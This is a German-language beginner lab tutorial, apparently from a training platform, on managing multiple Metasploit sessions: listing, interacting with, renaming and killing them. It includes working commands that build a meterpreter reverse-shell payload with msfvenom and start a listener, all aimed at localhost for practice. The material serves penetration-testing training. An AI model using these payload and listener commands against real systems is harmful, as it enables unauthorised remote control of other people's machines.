Mehrere Sessions in Metasploit verwalten

Kali LinuxBeginner
Jetzt üben

Einleitung

Beim Penetration Testing ist es üblich, gleichzeitig Zugriff auf mehrere Systeme zu erlangen. Das Metasploit Framework bietet eine leistungsstarke Möglichkeit, diese Verbindungen, die als "Sessions" bezeichnet werden, zu verwalten. Eine Session ist eine aktive Verbindung zu einem kompromittierten Ziel, die eine Kommandozeilen-Shell oder eine erweiterte Meterpreter-Session sein kann.

Die effektive Verwaltung dieser Sessions ist eine entscheidende Fähigkeit. Sie ermöglicht es Ihnen, Ihren Arbeitsablauf zu organisieren, nahtlos zwischen Zielen zu wechseln und die Kontrolle über Ihre kompromittierten Assets zu behalten. In diesem Lab lernen Sie die grundlegenden Befehle zur Verwaltung mehrerer Sessions in Metasploit. Sie werden üben, Sessions zu erlangen, sie aufzulisten, mit bestimmten Sessions zu interagieren, sie zur besseren Organisation umzubenennen und sie schließlich sauber zu beenden.

Mehrere Meterpreter- oder Shell-Sessions erlangen

In diesem Schritt richten Sie einen Listener in Metasploit ein und führen dann eine Payload aus, um zwei separate Meterpreter-Sessions zu erstellen. Dies simuliert den Zugriff auf zwei verschiedene Systeme.

Öffnen Sie zunächst ein Terminal und starten Sie die Metasploit Framework-Konsole. Das Flag -q sorgt dafür, dass sie leise startet, ohne das Banner anzuzeigen.

msfconsole -q

Als Nächstes konfigurieren wir einen generischen Listener namens multi/handler, der auf eingehende Verbindungen wartet.

use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444

Führen Sie nun den Listener als Hintergrundjob mit dem Flag -j aus. Dadurch bleibt die msfconsole-Eingabeaufforderung für andere Befehle verfügbar, während der Listener im Hintergrund läuft.

run -j

Sie sollten eine Bestätigung sehen, dass der Handler gestartet wurde.

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444

Nun müssen Sie die Payload generieren und ausführen, die sich mit diesem Listener verbindet. Öffnen Sie einen neuen, zweiten Terminal-Tab, indem Sie auf das +-Symbol im Terminalfenster klicken.

Verwenden Sie in diesem neuen Terminal msfvenom, um eine Payload zu erstellen. Dieser Befehl generiert eine ELF-ausführbare Datei, die sich beim Ausführen mit unserem Listener verbindet.

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/payload.elf

Machen Sie die generierte Payload-Datei ausführbar:

chmod +x ~/project/payload.elf

Führen Sie nun die Payload zweimal aus, um zwei Sessions zu erstellen. Wir führen sie als Hintergrundprozesse (&) aus, damit Sie den Befehl sofort erneut ausführen können.

./payload.elf &
./payload.elf &

Wechseln Sie zurück zu Ihrem ersten Terminalfenster mit msfconsole. Sie sehen Meldungen, die darauf hinweisen, dass zwei Meterpreter-Sessions geöffnet wurden.

[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:38998) at 2023-10-27 10:30:00 -0400
[*] Meterpreter session 2 opened (127.0.0.1:4444 -> 127.0.0.1:39000) at 2023-10-27 10:30:05 -0400

Sie haben nun erfolgreich zwei aktive Sessions aufgebaut.

Alle aktiven Sessions mit dem Befehl sessions auflisten

In diesem Schritt lernen Sie, wie Sie alle von Ihnen eingerichteten aktiven Sessions anzeigen können. Wenn mehrere Sessions geöffnet sind, benötigen Sie eine Möglichkeit, diese aufzulisten, um zu sehen, womit Sie verbunden sind.

Der Befehl sessions wird zu diesem Zweck verwendet. Geben Sie in Ihrem msfconsole-Terminal einfach sessions ein, um eine Liste aller aktiven Sessions zu erhalten. Das Flag -l ist ein Alias für list und bewirkt dasselbe.

sessions

Die Ausgabe ist eine Tabelle mit Informationen zu jeder Session:

Active sessions
===============

  Id  Name  Type                   Information              Connection
  --  ----  ----                   -----------              ----------
  1         meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:38998 (...)
  2         meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:39000 (...)

Diese Tabelle bietet einen klaren Überblick:

  • Id: Eine eindeutige Nummer für jede Session, die zur Interaktion mit ihr verwendet wird.
  • Name: Ein benutzerdefinierter Name für die Session (derzeit leer).
  • Type: Der Typ der Session (z. B. meterpreter, shell).
  • Information: Details zum kompromittierten System, wie die Benutzer-ID.
  • Connection: Die Quell- und Ziel-IP-Adressen und Ports.

Mit einer spezifischen Session über sessions -i interagieren

In diesem Schritt lernen Sie, wie Sie eine spezifische Session aus der Liste auswählen und mit ihr interagieren können.

Sobald Sie die Session identifiziert haben, mit der Sie arbeiten möchten, können Sie den Befehl sessions mit dem Flag -i (interact) gefolgt von der Session-ID verwenden.

Interagieren wir mit der ersten Session (ID 1).

sessions -i 1

Ihre Eingabeaufforderung ändert sich von msf6 > zu meterpreter >, was anzeigt, dass Sie sich nun innerhalb der Meterpreter-Session befinden und Meterpreter-spezifische Befehle ausführen können.

[*] Starting interaction with 1...

meterpreter >

Um zu bestätigen, dass Sie sich in der Session befinden, führen Sie einen einfachen Befehl wie sysinfo aus, um Systeminformationen vom Ziel zu erhalten.

sysinfo

Sie sehen eine Ausgabe, die der folgenden ähnelt:

Computer     : labex-virtual-machine
OS           : Ubuntu 22.04 (Linux 5.15.0-78-generic)
Architecture : x64
System Language: en_US
Meterpreter  : x64/linux

Wenn Sie mit der Arbeit innerhalb einer Session fertig sind, können Sie zur Haupt-msfconsole-Eingabeaufforderung zurückkehren, ohne die Session zu beenden. Verwenden Sie dazu den Befehl background.

background

Dadurch wird die Session in den Hintergrund verschoben und Sie kehren zur Eingabeaufforderung msf6 > zurück, sodass Sie andere Sessions verwalten können.

[*] Backgrounding session 1...
msf6 exploit(multi/handler) >

Eine Session zur besseren Organisation mit sessions -n umbenennen

In diesem Schritt lernen Sie, wie Sie eine Session umbenennen können. Bei der Verwaltung vieler Sessions sind die Standardnamen nicht aussagekräftig. Das Umbenennen von Sessions mit aussagekräftigen Bezeichnungen (z. B. "WebServer", "DBServer") erleichtert die Identifizierung erheblich.

Sie können eine Session mit dem Befehl sessions und dem Flag -n (name) umbenennen. Die Syntax lautet sessions -n <NeuerName> <ID>.

Benennen wir Session 2 in etwas Aussagekräftigeres wie TestHost um.

sessions -n TestHost 2

Metasploit bestätigt, dass die Session umbenannt wurde.

[*] Session 2's name has been changed to TestHost.

Listen Sie nun die Sessions erneut auf, um die Änderung zu sehen.

sessions

Die Ausgabetabelle zeigt nun den neuen Namen in der Spalte "Name" für Session 2 an.

Active sessions
===============

  Id  Name      Type                   Information              Connection
  --  ----      ----                   -----------              ----------
  1             meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:38998 (...)
  2   TestHost  meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:39000 (...)

Dies erleichtert die Verfolgung Ihrer Ziele erheblich.

Eine Session mit sessions -k beenden

In diesem Schritt lernen Sie, wie Sie eine Session beenden. Sobald Sie Ihre Arbeit auf einem Zielsystem abgeschlossen haben oder eine Session nicht mehr benötigt wird, ist es gute Praxis, sie zu schließen.

Um eine Session zu beenden oder zu "killen", verwenden Sie den Befehl sessions mit dem Flag -k (kill), gefolgt von der Session-ID.

Beenden wir Session 1.

sessions -k 1

Metasploit bestätigt, dass die Session gestoppt wird.

[*] Stopping session 1...
[*] 127.0.0.1 - Meterpreter session 1 closed.  Reason: User exit

Um zu überprüfen, ob die Session beendet wurde, listen Sie die aktiven Sessions noch einmal auf.

sessions

Die Ausgabe zeigt nun nur noch die verbleibende Session, TestHost, an.

Active sessions
===============

  Id  Name      Type                   Information              Connection
  --  ----      ----                   -----------              ----------
  2   TestHost  meterpreter x64/linux  uid=1000, gid=1000, ...  127.0.0.1:4444 -> 127.0.0.1:39000 (...)

Sie haben die unnötige Session erfolgreich bereinigt.

Zusammenfassung

Herzlichen Glückwunsch zum Abschluss dieses Labs! Sie haben die wesentlichen Fähigkeiten für die Verwaltung mehrerer Sessions im Metasploit Framework erlernt.

In diesem Lab haben Sie Folgendes geübt:

  • Erstellen mehrerer Meterpreter-Sessions mit einem multi/handler und einem Payload.
  • Auflisten aller aktiven Sessions mit dem Befehl sessions.
  • Interaktion mit einer bestimmten Session über sessions -i <ID>.
  • Umbenennen einer Session zur besseren Organisation mit sessions -n <Name> <ID>.
  • Sauberes Beenden einer Session mit sessions -k <ID>.

Die Beherrschung dieser Befehle ist für jeden Penetration Tester von grundlegender Bedeutung, da sie eine effiziente und organisierte Kontrolle über mehrere kompromittierte Systeme ermöglicht.